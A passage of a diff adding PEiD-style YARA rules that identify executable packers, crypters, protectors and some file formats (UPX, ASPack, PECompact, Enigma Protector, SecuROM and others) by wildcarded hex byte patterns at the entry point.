+		$1 = {EB 02 ?? ?? E8 27 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 22 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 01 ?? 8B 00 EB 03 ?? ?? ?? C3 EB 01 ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 03 ?? ?? ?? 58 EB 03 ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Pohernah_Crypter_V102__Kas_
+{
+	meta:
+		description = "Pohernah Crypter V1.0.2 -> Kas"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED DE 26 40 00 8B BD 05 28 40 00 8B 8D 0D 28 40 00 B8 25 28 40 00 01 E8 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 09 28 40 00 31 C0 51 31 C9 66 B9 F7 00 66 83 F9 00 74 49 8B 57 0C 03 95 09 28 40 00 8B 85 11 28 40 00 83 F8 02 75 06 81 C2 00 02 00 00 51 8B 4F 10 83 F8 02 75 06 81 E9 00 02 00 00 57 BF C8 00 00 00 89 CE E8 27 00 00 00 89 C1 5F B8 25 28 40 00 01 E8 E8 24 00 00 00 59 49 EB B1 59 83 C7 28 49 EB 8A 8B 85 01 28 40 00 89 44 24 1C 61 FF E0}
+		$1 = {60 E8 00 00 00 00 5D 81 ED DE 26 40 00 8B BD 05 28 40 00 8B 8D 0D 28 40 00 B8 25 28 40 00 01 E8 80 30 05 83 F9 00 74 71 81 7F 1C AB 00 00 00 75 62 8B 57 0C 03 95 09 28 40 00 31 C0 51 31 C9 66 B9 F7 00 66 83 F9 00 74 49 8B 57 0C 03 95 09 28 40 00 8B 85 11}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _fds0ft_c0m_pr0tect_v04b_
+{
+	meta:
+		description = "fds0ft c0m pr0tect v0.4b"
+	strings:
+		$0 = {8C CA 2E ?? ?? ?? ?? B4 30 8B ?? ?? ?? 8B ?? ?? ?? 8E DA A3 ?? ?? 8C ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? EB}
+	condition:
+		$0 at entrypoint
+}
+rule _EncryptPE_V220090726__WFS__20090822_
+{
+	meta:
+		description = "EncryptPE V2.20090726 -> WFS * 20090822"
+	strings:
+		$0 = {6A ?? 60 E9 01 01 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 61 58 8B 44 24 F8 E9 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _EXERefactor_V01__random_
+{
+	meta:
+		description = "EXERefactor V0.1 -> random"
+	strings:
+		$0 = {55 8B EC 81 EC 90 0B 00 00 53 56 57 E9 58 8C 01 00 55 53 43 41 54 49 4F 4E}
+		$1 = {55 8B EC 81 EC 90 0B 00 00 53 56 57 E9 58 8C 01 00 55 53 43 41 54 49 4F 4E}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Pe123__v200644412_
+{
+	meta:
+		description = "Pe123  v2006.4.4-4.12"
+	strings:
+		$0 = {8B C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? C0 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF ?? ?? ?? 45 ?? 50 E8 ?? FF FF FF ?? ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? FF FF ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 45}
+	condition:
+		$0 at entrypoint
+}
+rule _EXEStealth_v275a__WebtoolMaster_
+{
+	meta:
+		description = "EXEStealth v2.75a -> WebtoolMaster"
+	strings:
+		$0 = {EB 58 53 68 61 72 65 77 61 72 65 2D 56 65 72 73 69 6F 6E 20 45 78 65 53 74 65 61 6C 74 68 2C 20 63 6F 6E 74 61 63 74 20 73 75 70 70 6F 72 74 40 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 00 90 60 90 E8 00 00 00 00 5D 81 ED F7 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9 96 0C 00 00 90 8D BD 74 28 40 00 8B F7 AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 C5}
+		$1 = {EB 58 53 68 61 72 65 77 61 72 65 2D 56 65 72 73 69 6F 6E 20 45 78 65 53 74 65 61 6C 74 68 2C 20 63 6F 6E 74 61 63 74 20 73 75 70 70 6F 72 74 40 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 20 2D 20 77 77 77 2E 77 65 62 74 6F 6F 6C 6D 61 73 74 65 72 2E 63 6F 6D 00 90 60 90 E8 00 00 00 00 5D 81 ED F7 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9 96 0C 00 00 90 8D BD 74 28 40 00 8B F7 AC ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? AA E2 C5}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PESpin_V01__cyberbob__20080312_
+{
+	meta:
+		description = "PESpin V0.1 -> cyberbob * 20080312"
+	strings:
+		$0 = {EB 01 ?? 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 5C CB 46 00 0B E4 74 9E 75 01 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 ?? ?? ?? ?? ?? 5D 33 C9 41 E2 17 EB 07 ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 ?? 5A 83 EA 0B FF E2 8B ?? ?? ?? ?? ?? 8B 42 3C 03 C2 89 ?? ?? ?? ?? ?? 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 ?? ?? ?? ?? ?? 53 8F 85 ?? ?? ?? ?? BB ?? ?? ?? ?? B9 A5 08 00 00 8D ?? ?? ?? ?? ?? 4F 30 1C 39 FE CB E2 F9 68 2D 01 00 00 59 8D ?? ?? ?? ?? ?? C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 ?? ?? ?? ?? 4F 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Jam_221_EXE_
+{
+	meta:
+		description = "Jam 2.21 [EXE]"
+	strings:
+		$0 = {50 06 16 07 BE 24 02 8B FE B9 13 01 FD FA F3 2E A5 FB 06 BD 78 00 55 CB BE 00 00 8B FE BD 00 00 55 8D 9E 00 00 8D 97 00 00 B9 00 00 80 EF 10 8E DB 80 EE 10 8E C2 F3 A5 B5 80 3B DD 77 EE 33 C9 BE 00 00 8B FE 8E DA 8E C3 FC BA 01 00 EB 5F 5D}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_050__070_
+{
+	meta:
+		description = "UPX 0.50 - 0.70"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 83 E8 3D}
+		$1 = {60 E8 00 00 00 00 58 83 E8 3D}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _WinRAR_32bit_SFX_Module_
+{
+	meta:
+		description = "WinRAR 32-bit SFX Module"
+	strings:
+		$0 = {E9 ?? ?? 00 00 00 00 00 00 00 00}
+		$1 = {E9 ?? ?? 00 00 00 00 00 00 90 90 90 ?? ?? ?? ?? ?? ?? 00 ?? 00 ?? ?? ?? ?? ?? FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _SecuROM_V7X__Sony_DADC__20080114_
+{
+	meta:
+		description = "SecuROM V7.X -> Sony DADC * 20080114"
+	strings:
+		$0 = {9C 9C 83 EC 1C C7 44 24 18 ?? ?? ?? ?? C7 44 24 14 BF 03 01 00 89 74 24 10 BE F0 ?? ?? ?? C1 4C 24 18 18 ?? 89 6C 24 0C 8B 2E 01 6C 24 18 ?? 83 C6 04 66 FF 4C 24 14 52 5A 75 ED 80 64 24 18 FE ?? 8B 74 24 1C C1 E1 00 8B 6C 24 18 89 74 24 18 8B 74 24 10 89}
+	condition:
+		$0 at entrypoint
+}
+rule _Zylom_encrypted_game__Zylom_games_
+{
+	meta:
+		description = "Zylom encrypted game -> Zylom games"
+	strings:
+		$0 = {2E 74 65 78 74 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 2E 72 64 61 74 61 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 2E 64 61 74 61 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 2E 72 73 72 63 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 2E 7A 79 6C 6D 73 00 00 00 10 00 00 ?? ?? ?? ?? 00 10 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 60 2E 7A 79 6C 6D 69 00 00 00 10 00 00 ?? ?? ?? ?? 00 10 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 C0}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_09784_
+{
+	meta:
+		description = "PECompact 0.978.4"
+	strings:
+		$0 = {EB 06 68 00 00 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB D1 84 40 00 87 DD 8B 85 56 85 40 00 01 85 C5 84 40 00 66 C7 85 C2 84 40 00 90 90 BB A6 09 00 00 03 9D 5A 85 40 00 03 9D 56 85 40 00 53 53 53 58 2D 2C}
+	condition:
+		$0 at entrypoint
+}
+rule _PEnguinCrypt_10__Pingvin_
+{
+	meta:
+		description = "PEnguinCrypt 1.0 -> Pingvin"
+	strings:
+		$0 = {B8 93 ?? ?? 00 55 50 67 64 FF 36 00 00 67 64 89 26 00 00 BD 4B 48 43 42 B8 04 00 00 00 CC 3C 04 75 04 90 90 C3 90 67 64 8F 06 00 00 58 5D BB 00 00 40 00 33 C9 33 C0 32 0C 03 40 81 F8 00 01 00 00 75 F4 BB 75 ?? ?? 00 33 C0 32 0C 03 40 81 F8 36 01 00 00 75 F4 A1 35 ?? ?? 00 8B D9 68 75 ?? ?? 00 6A 40}
+	condition:
+		$0 at entrypoint
+}
+rule _Microsoft_FORTRAN_
+{
+	meta:
+		description = "Microsoft FORTRAN"
+	strings:
+		$0 = {FC 1E B8 ?? ?? 8E D8 9A ?? ?? ?? ?? 81 ?? ?? ?? 8B EC 8C DB 8E C3 BB ?? ?? B9 ?? ?? 9A ?? ?? ?? ?? 80 ?? ?? ?? ?? 74 ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _Upack_v033__v034_Beta_
+{
+	meta:
+		description = "Upack v0.33 ~ v0.34 Beta"
+	strings:
+		$0 = {59 F3 A5 83 C8 FF 8B DF AB 40 AB 40}
+	condition:
+		$0 at entrypoint
+}
+rule _ASPack_107b__Solodovnikov_Alexey_
+{
+	meta:
+		description = "ASPack 1.07b -> Solodovnikov Alexey"
+	strings:
+		$0 = {90 75 ?? E9}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v070__Laszlo__Markus_
+{
+	meta:
+		description = "UPX v0.70 -> Laszlo & Markus"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 66 81 87 ?? ?? ?? ?? ?? ?? 8D B0 EC 01 ?? ?? 83 CD FF 31 DB EB 07 90 8A 06 46 88 07 47 01 DB 75 07}
+	condition:
+		$0 at entrypoint
+}
+rule _Unnamed_Scrambler_21Beta__211__p0ke_
+{
+	meta:
+		description = "Unnamed Scrambler 2.1(Beta) / 2.1.1 -> p0ke"
+	strings:
+		$0 = {55 8B EC B9 15 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 ?? 3A ?? ?? E8 ?? EE FF FF 33 C0 55 68 ?? 43 ?? ?? 64 FF 30 64 89 20 BA ?? 43 ?? ?? B8 E4 64 ?? ?? E8 0F FD FF FF 8B D8 85 DB 75 07 6A 00 E8 ?? EE FF FF BA E8 64 ?? ?? 8B C3 8B 0D E4 64 ?? ?? E8 ?? D7 FF FF B8 F8 ?? ?? ?? BA 04 00 00 00 E8 ?? EF FF FF 33 C0 A3 F8 ?? ?? ?? BB ?? ?? ?? ?? C7 45 EC E8 64 ?? ?? C7 45 E8 ?? ?? ?? ?? C7 45 E4 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? B8 E0 ?? ?? ?? BA 04 00 00 00 E8 ?? EF FF FF 68 F4 01 00 00 E8 ?? EE FF FF 83 7B 04 00 75 0B 83 3B 00 0F 86 ?? 07 00 00 EB 06 0F 8E ?? 07 00 00 8B 03 8B D0 B8 E4 ?? ?? ?? E8 ?? E5 FF FF B8 E4 ?? ?? ?? E8 ?? E3 FF FF 8B D0 8B 45 EC 8B 0B E8}
+		$1 = {55 8B EC B9 15 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 ?? 3A ?? ?? E8 ?? EE FF FF 33 C0 55 68 ?? 43 ?? ?? 64 FF 30 64 89 20 BA ?? 43 ?? ?? B8 E4 64 ?? ?? E8 0F FD FF FF 8B D8 85 DB 75 07 6A 00 E8 ?? EE FF FF BA E8 64 ?? ?? 8B C3 8B 0D E4 64 ?? ?? E8 ?? D7 FF FF B8 F8 ?? ?? ?? BA 04 00 00 00 E8 ?? EF FF FF 33 C0 A3 F8 ?? ?? ?? BB ?? ?? ?? ?? C7 45 EC E8 64 ?? ?? C7 45 E8 ?? ?? ?? ?? C7 45 E4 ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? B8 E0 ?? ?? ?? BA 04 00 00 00 E8 ?? EF FF FF 68 F4 01 00 00 E8 ?? EE FF FF 83 7B 04 00 75 0B 83 3B 00 0F 86 ?? 07 00 00 EB 06 0F 8E ?? 07 00 00 8B 03 8B D0 B8 E4 ?? ?? ?? E8 ?? E5 FF FF B8 E4 ?? ?? ?? E8 ?? E3 FF FF 8B D0 8B 45 EC 8B 0B E8}
+		$2 = {55 8B EC B9 15 00 00 00 6A 00 6A 00 49 75 F9 53 56 57 B8 ?? 3A ?? ?? E8 ?? EE FF FF 33 C0 55 68 ?? 43 ?? ?? 64 FF 30 64 89 20 BA ?? 43 ?? ?? B8 E4 64 ?? ?? E8 0F FD FF FF 8B D8 85 DB 75 07 6A 00 E8 ?? EE FF FF BA E8 64 ?? ?? 8B C3 8B 0D E4 64 ?? ?? E8}
+	condition:
+		$0 at entrypoint or $1 or $2 at entrypoint
+}
+rule _Enigma_Protector_131_Build_20070615_Dll__Sukhov_Vladimir__Serge_N_Markin_
+{
+	meta:
+		description = "Enigma Protector 1.31 Build 20070615 Dll -> Sukhov Vladimir & Serge N. Markin"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 81 ED ?? ?? ?? ?? E9 49 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {60 E8 00 00 00 00 5D 81 ED 06 00 00 00 81 ED ?? ?? ?? ?? E9 49 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8A 84 24 28 00 00 00 80 F8 01 0F 84 07 00 00 00 B8 ?? ?? ?? ?? FF E0 E9 04 00 00 00 ?? ?? ?? ?? B8 ?? ?? ?? ?? 03 C5 81 C0 ?? ?? ?? ?? B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 30 10 40 49 0F 85 F6 FF FF FF E9 04 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EncryptPE_V22004616V22006630__WFS____SignByfly_
+{
+	meta:
+		description = "EncryptPE V2.2004.6.16-V2.2006.6.30 -> WFS   * Sign.By.fly"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 7A 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Datafile_from_Norton_Utilities_
+{
+	meta:
+		description = "Datafile from Norton Utilities"
+	strings:
+		$0 = {50 4E 43 49}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_ExeSmasher_
+{
+	meta:
+		description = "PseudoSigner 0.2 [ExeSmasher"
+	strings:
+		$0 = {9C FE 03 90 60 BE 90 90 41 90 8D BE 90 10 FF FF 57 83 CD FF EB 10 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 FE 0B}
+	condition:
+		$0 at entrypoint
+}
+rule _DWC_Archive_
+{
+	meta:
+		description = "DWC Archive"
+	strings:
+		$0 = {44 57 43}
+	condition:
+		$0 at entrypoint
+}
+rule _Unknown_UPX_Scrambler_vna_
+{
+	meta:
+		description = "Unknown_UPX_Scrambler vna"
+	strings:
+		$0 = {C7 45 FC ?? ?? ?? ?? 6A 04 6A 00 6A 00 68 FF FF FB FF FF 15 ?? ?? ?? ?? 85 C0 7E ?? 6A 00 FF 15 ?? ?? ?? ?? 8B 45 FC 8B 40 04 83 E8 03 8B 4D FC 89 41 04 83 65 F4 00 EB ?? 8B 45 F4 40 89 45 F4 8B 45 FC 8B 4D F4 3B 48 04 73 ?? 8B 45 FC 8B 40 04 2B 45 F4 8B 4D FC 8B 09 8B 55 FC 8B 44 01 FF 33 42 0C 8B 4D FC 8B 49 04 2B 4D F4 8B 55 FC 8B 12 89 44 11 FF EB ?? 8B 45 FC 8B 40 08 89 45 F8 8B 45 F8}
+	condition:
+		$0 at entrypoint
+}
+rule _ASProtect_11__Solodovnikov_Alexey_
+{
+	meta:
+		description = "ASProtect 1.1 -> Solodovnikov Alexey"
+	strings:
+		$0 = {60 E9 ?? 04 00 00 E9 ?? ?? ?? ?? ?? ?? ?? EE}
+	condition:
+		$0 at entrypoint
+}
+rule _SLVc0deProtector_v06__SLV_
+{
+	meta:
+		description = "SLVc0deProtector v0.6 -> SLV"
+	strings:
+		$0 = {E8 49 00 00 00 69 E8 49 00 00 00 95 E8 4F 00 00 00 68 E8 1F 00 00 00 49 E8 E9 FF FF FF 67 E8 1F 00 00 00 93 E8}
+		$1 = {E8 49 00 00 00 69 E8 49 00 00 00 95 E8 4F 00 00 00 68 E8 1F 00 00 00 49 E8 E9 FF FF FF 67 E8 1F 00 00 00 93 E8 31 00 00 00 78 E8 DD FF FF FF 38 E8 E3 FF FF FF 66 E8 0D 00 00 00 04 E8 E3 FF FF FF 70 E8 CB FF FF FF 69 E8 DD FF FF FF 58 E8 DD FF FF FF 69 E8 E3 FF FF FF 79 E8 BF FF FF FF 69 83 C4 40 E8 00 00 00 00 5D 81 ED 97 11 40 00 8D B5 EF 11 40 00 B9 FE 2D 00 00 8B FE AC F8 ?? ?? ?? ?? ?? ?? 90}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Enigma_Protector_v112_LITE_
+{
+	meta:
+		description = "Enigma Protector v1.12 LITE"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 83 ED 06 81 ED ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 EB 02 FF 35 60 E8 24 00 00 00 00 00 FF EB 02 CD 20 8B 44 24 0C 83 80 B8 00 00 00 03 31}
+		$1 = {60 E8 00 00 00 00 5D 83 ED 06 81 ED ?? ?? ?? 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 01 00 00 00 9A 83 C4 04 EB 02 FF 35 60 E8 24 00 00 00 00 00 FF EB 02 CD 20 8B 44 24 0C 83 80 B8 00 00 00 03 31}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _RLPack_117p_
+{
+	meta:
+		description = "RLPack 1.17+"
+	strings:
+		$0 = {60 E8 00 00 00 00 8B 2C 24 83 C4 04 8D B5 ?? ?? 00 00 8D 9D ?? ?? 00 00 33 FF E8 ?? ?? ?? ?? EB 0F FF 74 37 04 FF 34 37 FF D3}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v098b2_
+{
+	meta:
+		description = "tElock v0.98b2"
+	strings:
+		$0 = {E9 1B E4 FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_v37__North_Star_
+{
+	meta:
+		description = "NsPack v3.7 -> North Star"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 8D ?? ?? ?? FF 80 39 01 0F 84 42 02 00 00 C6 01 01 8B C5 2B 85 ?? ?? ?? FF 89 85 ?? ?? ?? FF 01 85 ?? ?? ?? FF 8D B5 ?? ?? ?? FF 01 06 55 56 6A 40 68 00 10 00 00 68 00 10 00 00 6A 00 FF 95 ?? ?? ?? FF 85 C0 0F 84 69 03 00 00 89 85 ?? ?? ?? FF E8 00 00 00 00 5B B9 67 03 00 00 03 D9 50 53 E8 B0 02 00 00 5E 5D 8B 36 8B FD 03 BD ?? ?? ?? FF 8B DF 83 3F 00 75 0A 83 C7 04 B9 00 00 00 00 EB 16 B9 01 00 00 00 03 3B 83 C3 04 83 3B 00 74 34 01 13 8B 33 03 7B 04 57 51 53 FF B5 ?? ?? ?? FF FF B5 ?? ?? ?? FF 8B D6 8B CF 8B 85 ?? ?? ?? FF 05 AA 05 00 00 FF D0 5B 59 5F 83 F9 00 74 05 83 C3 08 EB C7 68 00 80 00 00 6A 00 FF B5 ?? ?? ?? FF FF 95 ?? ?? ?? FF 8D B5 ?? ?? ?? FF 8B 4E 08 8D 56 10 8B 36 8B FE 83 F9 00 74 3F 8A 07 47 2C E8 3C 01 77 F7 8B 07 80 7A 01 00 74 14 8A 1A 38 1F 75 E9 8A 5F 04 66 C1 E8 08 C1 C0 10 86 C4 EB 0A 8A 5F 04 86 C4 C1 C0 10 86 C4 2B C7 03 C6 89 07 83 C7 05 80 EB E8 8B C3 E2 C6 E8 3A 01 00 00 8D 8D}
+	condition:
+		$0 at entrypoint
+}
+rule _Goats_PE_Mutilator_16_
+{
+	meta:
+		description = "Goat's PE Mutilator 1.6"
+	strings:
+		$0 = {E8 EA 0B 00 00 ?? ?? ?? 8B 1C 79 F6 63 D8 8D 22 B0 BF F6 49 08 C3 02 BD 3B 6C 29 46 13 28 5D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$1 = {E8 EA 0B 00 00 ?? ?? ?? 8B 1C 79 F6 63 D8 8D 22 B0 BF F6 49 08 C3 02 BD 3B 6C 29 46 13 28 5D 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0F 53 0F DE 0F 55 0F 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
